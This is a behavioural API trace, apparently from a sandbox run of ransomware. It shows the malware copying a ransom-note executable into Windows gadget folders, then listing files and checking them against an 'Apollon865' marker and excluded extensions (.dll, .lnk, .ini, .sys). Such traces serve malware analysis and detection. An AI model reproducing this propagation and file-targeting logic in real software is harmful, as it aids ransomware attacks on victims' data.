	[0061.926] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget"
	[0061.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0061.926] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0061.926] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned 53
	[0061.926] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget"
	[0061.926] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.926] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.934] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cfba550, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cfba550, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.934] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.934] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.934] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0061.935] lstrlenW (lpString="drag.png") returned 8
	[0061.935] lstrlenW (lpString="Apollon865") returned 10
	[0061.935] lstrlenW (lpString=".dll") returned 4
	[0061.935] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0061.935] lstrlenW (lpString=".lnk") returned 4
	[0061.935] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0061.935] lstrlenW (lpString=".ini") returned 4
	[0061.935] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0061.935] lstrlenW (lpString=".sys") returned 4
	[0061.935] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0061.935] lstrlenW (lpString="drag.png") returned 8
	[0061.935] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0061.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0061.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591640
	[0061.935] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0061.935] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cfba550, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3cfba550, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.935] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.935] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ac06b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x285ac06b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x285ac06b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0061.935] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.935] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.935] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0061.935] lstrlenW (lpString="icon.png") returned 8
	[0061.935] lstrlenW (lpString="Apollon865") returned 10
	[0061.935] lstrlenW (lpString=".dll") returned 4
	[0061.935] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0061.935] lstrlenW (lpString=".lnk") returned 4
	[0061.935] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0061.935] lstrlenW (lpString=".ini") returned 4
	[0061.935] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0061.935] lstrlenW (lpString=".sys") returned 4
	[0061.935] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0061.936] lstrlenW (lpString="icon.png") returned 8
	[0061.936] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="images" | out: lpString1="images") returned="images"
	[0061.936] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0061.936] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf788
	[0061.936] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0061.936] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843c2419, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x843c2419, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e73115, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0061.936] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.936] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0061.936] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0061.936] lstrlenW (lpString="logo.png") returned 8
	[0061.936] lstrlenW (lpString="Apollon865") returned 10
	[0061.936] lstrlenW (lpString=".dll") returned 4
	[0061.936] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0061.936] lstrlenW (lpString=".lnk") returned 4
	[0061.936] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0061.936] lstrlenW (lpString=".ini") returned 4
	[0061.936] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0061.936] lstrlenW (lpString=".sys") returned 4
	[0061.936] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0061.936] lstrlenW (lpString="logo.png") returned 8
	[0061.936] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images"
	[0061.936] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.936] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0061.936] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images") returned 60
	[0061.936] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images"
	[0061.936] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.936] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.942] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3cfe06b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cfe06b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.946] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.946] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.946] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="cronometer.png" | out: lpString1="cronometer.png") returned="cronometer.png"
	[0061.947] lstrlenW (lpString="cronometer.png") returned 14
	[0061.947] lstrlenW (lpString="Apollon865") returned 10
	[0061.947] lstrcmpiW (lpString1="ometer.png", lpString2="Apollon865") returned 1
	[0061.947] lstrlenW (lpString=".dll") returned 4
	[0061.947] lstrcmpiW (lpString1="cronometer.png", lpString2=".dll") returned 1
	[0061.947] lstrlenW (lpString=".lnk") returned 4
	[0061.947] lstrcmpiW (lpString1="cronometer.png", lpString2=".lnk") returned 1
	[0061.947] lstrlenW (lpString=".ini") returned 4
	[0061.947] lstrcmpiW (lpString1="cronometer.png", lpString2=".ini") returned 1
	[0061.947] lstrlenW (lpString=".sys") returned 4
	[0061.947] lstrcmpiW (lpString1="cronometer.png", lpString2=".sys") returned 1
	[0061.947] lstrlenW (lpString="cronometer.png") returned 14
	[0061.947] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="cronometer_dot.png" | out: lpString1="cronometer_dot.png") returned="cronometer_dot.png"
	[0061.947] lstrlenW (lpString="cronometer_dot.png") returned 18
	[0061.947] lstrlenW (lpString="Apollon865") returned 10
	[0061.947] lstrcmpiW (lpString1="er_dot.png", lpString2="Apollon865") returned 1
	[0061.947] lstrlenW (lpString=".dll") returned 4
	[0061.948] lstrcmpiW (lpString1="cronometer_dot.png", lpString2=".dll") returned 1
	[0061.948] lstrlenW (lpString=".lnk") returned 4
	[0061.948] lstrcmpiW (lpString1="cronometer_dot.png", lpString2=".lnk") returned 1
	[0061.948] lstrlenW (lpString=".ini") returned 4
	[0061.948] lstrcmpiW (lpString1="cronometer_dot.png", lpString2=".ini") returned 1
	[0061.948] lstrlenW (lpString=".sys") returned 4
	[0061.948] lstrcmpiW (lpString1="cronometer_dot.png", lpString2=".sys") returned 1
	[0061.948] lstrlenW (lpString="cronometer_dot.png") returned 18
	[0061.948] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="cronometer_h.png" | out: lpString1="cronometer_h.png") returned="cronometer_h.png"
	[0061.948] lstrlenW (lpString="cronometer_h.png") returned 16
	[0061.948] lstrlenW (lpString="Apollon865") returned 10
	[0061.948] lstrcmpiW (lpString1="eter_h.png", lpString2="Apollon865") returned 1
	[0061.948] lstrlenW (lpString=".dll") returned 4
	[0061.948] lstrcmpiW (lpString1="cronometer_h.png", lpString2=".dll") returned 1
	[0061.948] lstrlenW (lpString=".lnk") returned 4
	[0061.948] lstrcmpiW (lpString1="cronometer_h.png", lpString2=".lnk") returned 1
	[0061.948] lstrlenW (lpString=".ini") returned 4
	[0061.948] lstrcmpiW (lpString1="cronometer_h.png", lpString2=".ini") returned 1
	[0061.948] lstrlenW (lpString=".sys") returned 4
	[0061.948] lstrcmpiW (lpString1="cronometer_h.png", lpString2=".sys") returned 1
	[0061.948] lstrlenW (lpString="cronometer_h.png") returned 16
	[0061.948] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="cronometer_m.png" | out: lpString1="cronometer_m.png") returned="cronometer_m.png"
	[0061.948] lstrlenW (lpString="cronometer_m.png") returned 16
	[0061.948] lstrlenW (lpString="Apollon865") returned 10
	[0061.948] lstrcmpiW (lpString1="eter_m.png", lpString2="Apollon865") returned 1
	[0061.949] lstrlenW (lpString=".dll") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_m.png", lpString2=".dll") returned 1
	[0061.949] lstrlenW (lpString=".lnk") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_m.png", lpString2=".lnk") returned 1
	[0061.949] lstrlenW (lpString=".ini") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_m.png", lpString2=".ini") returned 1
	[0061.949] lstrlenW (lpString=".sys") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_m.png", lpString2=".sys") returned 1
	[0061.949] lstrlenW (lpString="cronometer_m.png") returned 16
	[0061.949] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="cronometer_s.png" | out: lpString1="cronometer_s.png") returned="cronometer_s.png"
	[0061.949] lstrlenW (lpString="cronometer_s.png") returned 16
	[0061.949] lstrlenW (lpString="Apollon865") returned 10
	[0061.949] lstrcmpiW (lpString1="eter_s.png", lpString2="Apollon865") returned 1
	[0061.949] lstrlenW (lpString=".dll") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_s.png", lpString2=".dll") returned 1
	[0061.949] lstrlenW (lpString=".lnk") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_s.png", lpString2=".lnk") returned 1
	[0061.949] lstrlenW (lpString=".ini") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_s.png", lpString2=".ini") returned 1
	[0061.949] lstrlenW (lpString=".sys") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_s.png", lpString2=".sys") returned 1
	[0061.949] lstrlenW (lpString="cronometer_s.png") returned 16
	[0061.949] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="cronometer_settings.png" | out: lpString1="cronometer_settings.png") returned="cronometer_settings.png"
	[0061.949] lstrlenW (lpString="cronometer_settings.png") returned 23
	[0061.949] lstrlenW (lpString="Apollon865") returned 10
	[0061.949] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0061.949] lstrlenW (lpString=".dll") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_settings.png", lpString2=".dll") returned 1
	[0061.949] lstrlenW (lpString=".lnk") returned 4
	[0061.949] lstrcmpiW (lpString1="cronometer_settings.png", lpString2=".lnk") returned 1
	[0061.949] lstrlenW (lpString=".ini") returned 4
	[0061.950] lstrcmpiW (lpString1="cronometer_settings.png", lpString2=".ini") returned 1
	[0061.950] lstrlenW (lpString=".sys") returned 4
	[0061.950] lstrcmpiW (lpString1="cronometer_settings.png", lpString2=".sys") returned 1
	[0061.950] lstrlenW (lpString="cronometer_settings.png") returned 23
	[0061.950] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="diner.png" | out: lpString1="diner.png") returned="diner.png"
	[0061.950] lstrlenW (lpString="diner.png") returned 9
	[0061.950] lstrlenW (lpString="Apollon865") returned 10
	[0061.950] lstrlenW (lpString=".dll") returned 4
	[0061.950] lstrcmpiW (lpString1="diner.png", lpString2=".dll") returned 1
	[0061.950] lstrlenW (lpString=".lnk") returned 4
	[0061.950] lstrcmpiW (lpString1="diner.png", lpString2=".lnk") returned 1
	[0061.950] lstrlenW (lpString=".ini") returned 4
	[0061.950] lstrcmpiW (lpString1="diner.png", lpString2=".ini") returned 1
	[0061.950] lstrlenW (lpString=".sys") returned 4
	[0061.950] lstrcmpiW (lpString1="diner.png", lpString2=".sys") returned 1
	[0061.950] lstrlenW (lpString="diner.png") returned 9
	[0061.950] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="diner_dot.png" | out: lpString1="diner_dot.png") returned="diner_dot.png"
	[0061.950] lstrlenW (lpString="diner_dot.png") returned 13
	[0061.950] lstrlenW (lpString="Apollon865") returned 10
	[0061.950] lstrcmpiW (lpString1="er_dot.png", lpString2="Apollon865") returned 1
	[0061.950] lstrlenW (lpString=".dll") returned 4
	[0061.950] lstrcmpiW (lpString1="diner_dot.png", lpString2=".dll") returned 1
	[0061.950] lstrlenW (lpString=".lnk") returned 4
	[0061.950] lstrcmpiW (lpString1="diner_dot.png", lpString2=".lnk") returned 1
	[0061.950] lstrlenW (lpString=".ini") returned 4
	[0061.950] lstrcmpiW (lpString1="diner_dot.png", lpString2=".ini") returned 1
	[0061.950] lstrlenW (lpString=".sys") returned 4
	[0061.950] lstrcmpiW (lpString1="diner_dot.png", lpString2=".sys") returned 1
	[0061.950] lstrlenW (lpString="diner_dot.png") returned 13
	[0061.951] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="diner_h.png" | out: lpString1="diner_h.png") returned="diner_h.png"
	[0061.951] lstrlenW (lpString="diner_h.png") returned 11
	[0061.951] lstrlenW (lpString="Apollon865") returned 10
	[0061.951] lstrcmpiW (lpString1="iner_h.png", lpString2="Apollon865") returned 1
	[0061.951] lstrlenW (lpString=".dll") returned 4
	[0061.951] lstrcmpiW (lpString1="diner_h.png", lpString2=".dll") returned 1
	[0061.951] lstrlenW (lpString=".lnk") returned 4
	[0061.951] lstrcmpiW (lpString1="diner_h.png", lpString2=".lnk") returned 1
	[0061.951] lstrlenW (lpString=".ini") returned 4
	[0061.951] lstrcmpiW (lpString1="diner_h.png", lpString2=".ini") returned 1
	[0061.951] lstrlenW (lpString=".sys") returned 4
	[0061.951] lstrcmpiW (lpString1="diner_h.png", lpString2=".sys") returned 1
	[0061.951] lstrlenW (lpString="diner_h.png") returned 11
	[0061.951] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="diner_m.png" | out: lpString1="diner_m.png") returned="diner_m.png"
	[0061.951] lstrlenW (lpString="diner_m.png") returned 11
	[0061.951] lstrlenW (lpString="Apollon865") returned 10
	[0061.951] lstrcmpiW (lpString1="iner_m.png", lpString2="Apollon865") returned 1
	[0061.951] lstrlenW (lpString=".dll") returned 4
	[0061.951] lstrcmpiW (lpString1="diner_m.png", lpString2=".dll") returned 1
	[0061.951] lstrlenW (lpString=".lnk") returned 4
	[0061.951] lstrcmpiW (lpString1="diner_m.png", lpString2=".lnk") returned 1
	[0061.951] lstrlenW (lpString=".ini") returned 4
	[0061.951] lstrcmpiW (lpString1="diner_m.png", lpString2=".ini") returned 1
	[0061.951] lstrlenW (lpString=".sys") returned 4
	[0061.951] lstrcmpiW (lpString1="diner_m.png", lpString2=".sys") returned 1
	[0061.951] lstrlenW (lpString="diner_m.png") returned 11
	[0061.951] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="diner_s.png" | out: lpString1="diner_s.png") returned="diner_s.png"
	[0061.951] lstrlenW (lpString="diner_s.png") returned 11
	[0061.951] lstrlenW (lpString="Apollon865") returned 10
	[0061.951] lstrcmpiW (lpString1="iner_s.png", lpString2="Apollon865") returned 1
	[0061.951] lstrlenW (lpString=".dll") returned 4
	[0061.952] lstrcmpiW (lpString1="diner_s.png", lpString2=".dll") returned 1
	[0061.952] lstrlenW (lpString=".lnk") returned 4
	[0061.952] lstrcmpiW (lpString1="diner_s.png", lpString2=".lnk") returned 1
	[0061.952] lstrlenW (lpString=".ini") returned 4
	[0061.952] lstrcmpiW (lpString1="diner_s.png", lpString2=".ini") returned 1
	[0061.952] lstrlenW (lpString=".sys") returned 4
	[0061.952] lstrcmpiW (lpString1="diner_s.png", lpString2=".sys") returned 1
	[0061.952] lstrlenW (lpString="diner_s.png") returned 11
	[0061.952] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="diner_settings.png" | out: lpString1="diner_settings.png") returned="diner_settings.png"
	[0061.952] lstrlenW (lpString="diner_settings.png") returned 18
	[0061.952] lstrlenW (lpString="Apollon865") returned 10
	[0061.952] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0061.952] lstrlenW (lpString=".dll") returned 4
	[0061.952] lstrcmpiW (lpString1="diner_settings.png", lpString2=".dll") returned 1
	[0061.952] lstrlenW (lpString=".lnk") returned 4
	[0061.952] lstrcmpiW (lpString1="diner_settings.png", lpString2=".lnk") returned 1
	[0061.952] lstrlenW (lpString=".ini") returned 4
	[0061.952] lstrcmpiW (lpString1="diner_settings.png", lpString2=".ini") returned 1
	[0061.952] lstrlenW (lpString=".sys") returned 4
	[0061.952] lstrcmpiW (lpString1="diner_settings.png", lpString2=".sys") returned 1
	[0061.952] lstrlenW (lpString="diner_settings.png") returned 18
	[0061.952] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="flower.png" | out: lpString1="flower.png") returned="flower.png"
	[0061.952] lstrlenW (lpString="flower.png") returned 10
	[0061.952] lstrlenW (lpString="Apollon865") returned 10
	[0061.952] lstrlenW (lpString=".dll") returned 4
	[0061.952] lstrcmpiW (lpString1="flower.png", lpString2=".dll") returned 1
	[0061.952] lstrlenW (lpString=".lnk") returned 4
	[0061.952] lstrcmpiW (lpString1="flower.png", lpString2=".lnk") returned 1
	[0061.952] lstrlenW (lpString=".ini") returned 4
	[0061.952] lstrcmpiW (lpString1="flower.png", lpString2=".ini") returned 1
	[0061.952] lstrlenW (lpString=".sys") returned 4
	[0061.952] lstrcmpiW (lpString1="flower.png", lpString2=".sys") returned 1
	[0061.953] lstrlenW (lpString="flower.png") returned 10
	[0061.953] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="flower_dot.png" | out: lpString1="flower_dot.png") returned="flower_dot.png"
	[0061.953] lstrlenW (lpString="flower_dot.png") returned 14
	[0061.953] lstrlenW (lpString="Apollon865") returned 10
	[0061.953] lstrcmpiW (lpString1="er_dot.png", lpString2="Apollon865") returned 1
	[0061.953] lstrlenW (lpString=".dll") returned 4
	[0061.953] lstrcmpiW (lpString1="flower_dot.png", lpString2=".dll") returned 1
	[0061.953] lstrlenW (lpString=".lnk") returned 4
	[0061.953] lstrcmpiW (lpString1="flower_dot.png", lpString2=".lnk") returned 1
	[0061.953] lstrlenW (lpString=".ini") returned 4
	[0061.953] lstrcmpiW (lpString1="flower_dot.png", lpString2=".ini") returned 1
	[0061.953] lstrlenW (lpString=".sys") returned 4
	[0061.953] lstrcmpiW (lpString1="flower_dot.png", lpString2=".sys") returned 1
	[0061.953] lstrlenW (lpString="flower_dot.png") returned 14
	[0061.953] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="flower_h.png" | out: lpString1="flower_h.png") returned="flower_h.png"
	[0061.953] lstrlenW (lpString="flower_h.png") returned 12
	[0061.953] lstrlenW (lpString="Apollon865") returned 10
	[0061.953] lstrcmpiW (lpString1="ower_h.png", lpString2="Apollon865") returned 1
	[0061.953] lstrlenW (lpString=".dll") returned 4
	[0061.953] lstrcmpiW (lpString1="flower_h.png", lpString2=".dll") returned 1
	[0061.953] lstrlenW (lpString=".lnk") returned 4
	[0061.953] lstrcmpiW (lpString1="flower_h.png", lpString2=".lnk") returned 1
	[0061.953] lstrlenW (lpString=".ini") returned 4
	[0061.953] lstrcmpiW (lpString1="flower_h.png", lpString2=".ini") returned 1
	[0061.953] lstrlenW (lpString=".sys") returned 4
	[0061.953] lstrcmpiW (lpString1="flower_h.png", lpString2=".sys") returned 1
	[0061.953] lstrlenW (lpString="flower_h.png") returned 12
	[0061.953] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="flower_m.png" | out: lpString1="flower_m.png") returned="flower_m.png"
	[0061.953] lstrlenW (lpString="flower_m.png") returned 12
	[0061.953] lstrlenW (lpString="Apollon865") returned 10
	[0061.954] lstrcmpiW (lpString1="ower_m.png", lpString2="Apollon865") returned 1
	[0061.954] lstrlenW (lpString=".dll") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_m.png", lpString2=".dll") returned 1
	[0061.954] lstrlenW (lpString=".lnk") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_m.png", lpString2=".lnk") returned 1
	[0061.954] lstrlenW (lpString=".ini") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_m.png", lpString2=".ini") returned 1
	[0061.954] lstrlenW (lpString=".sys") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_m.png", lpString2=".sys") returned 1
	[0061.954] lstrlenW (lpString="flower_m.png") returned 12
	[0061.954] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="flower_s.png" | out: lpString1="flower_s.png") returned="flower_s.png"
	[0061.954] lstrlenW (lpString="flower_s.png") returned 12
	[0061.954] lstrlenW (lpString="Apollon865") returned 10
	[0061.954] lstrcmpiW (lpString1="ower_s.png", lpString2="Apollon865") returned 1
	[0061.954] lstrlenW (lpString=".dll") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_s.png", lpString2=".dll") returned 1
	[0061.954] lstrlenW (lpString=".lnk") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_s.png", lpString2=".lnk") returned 1
	[0061.954] lstrlenW (lpString=".ini") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_s.png", lpString2=".ini") returned 1
	[0061.954] lstrlenW (lpString=".sys") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_s.png", lpString2=".sys") returned 1
	[0061.954] lstrlenW (lpString="flower_s.png") returned 12
	[0061.954] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="flower_settings.png" | out: lpString1="flower_settings.png") returned="flower_settings.png"
	[0061.954] lstrlenW (lpString="flower_settings.png") returned 19
	[0061.954] lstrlenW (lpString="Apollon865") returned 10
	[0061.954] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0061.954] lstrlenW (lpString=".dll") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_settings.png", lpString2=".dll") returned 1
	[0061.954] lstrlenW (lpString=".lnk") returned 4
	[0061.954] lstrcmpiW (lpString1="flower_settings.png", lpString2=".lnk") returned 1
	[0061.955] lstrlenW (lpString=".ini") returned 4
	[0061.955] lstrcmpiW (lpString1="flower_settings.png", lpString2=".ini") returned 1
	[0061.955] lstrlenW (lpString=".sys") returned 4
	[0061.955] lstrcmpiW (lpString1="flower_settings.png", lpString2=".sys") returned 1
	[0061.955] lstrlenW (lpString="flower_settings.png") returned 19
	[0061.955] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="modern.png" | out: lpString1="modern.png") returned="modern.png"
	[0061.955] lstrlenW (lpString="modern.png") returned 10
	[0061.955] lstrlenW (lpString="Apollon865") returned 10
	[0061.955] lstrlenW (lpString=".dll") returned 4
	[0061.955] lstrcmpiW (lpString1="modern.png", lpString2=".dll") returned 1
	[0061.955] lstrlenW (lpString=".lnk") returned 4
	[0061.955] lstrcmpiW (lpString1="modern.png", lpString2=".lnk") returned 1
	[0061.955] lstrlenW (lpString=".ini") returned 4
	[0061.955] lstrcmpiW (lpString1="modern.png", lpString2=".ini") returned 1
	[0061.955] lstrlenW (lpString=".sys") returned 4
	[0061.955] lstrcmpiW (lpString1="modern.png", lpString2=".sys") returned 1
	[0061.955] lstrlenW (lpString="modern.png") returned 10
	[0061.955] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="modern_dot.png" | out: lpString1="modern_dot.png") returned="modern_dot.png"
	[0061.955] lstrlenW (lpString="modern_dot.png") returned 14
	[0061.955] lstrlenW (lpString="Apollon865") returned 10
	[0061.955] lstrcmpiW (lpString1="rn_dot.png", lpString2="Apollon865") returned 1
	[0061.955] lstrlenW (lpString=".dll") returned 4
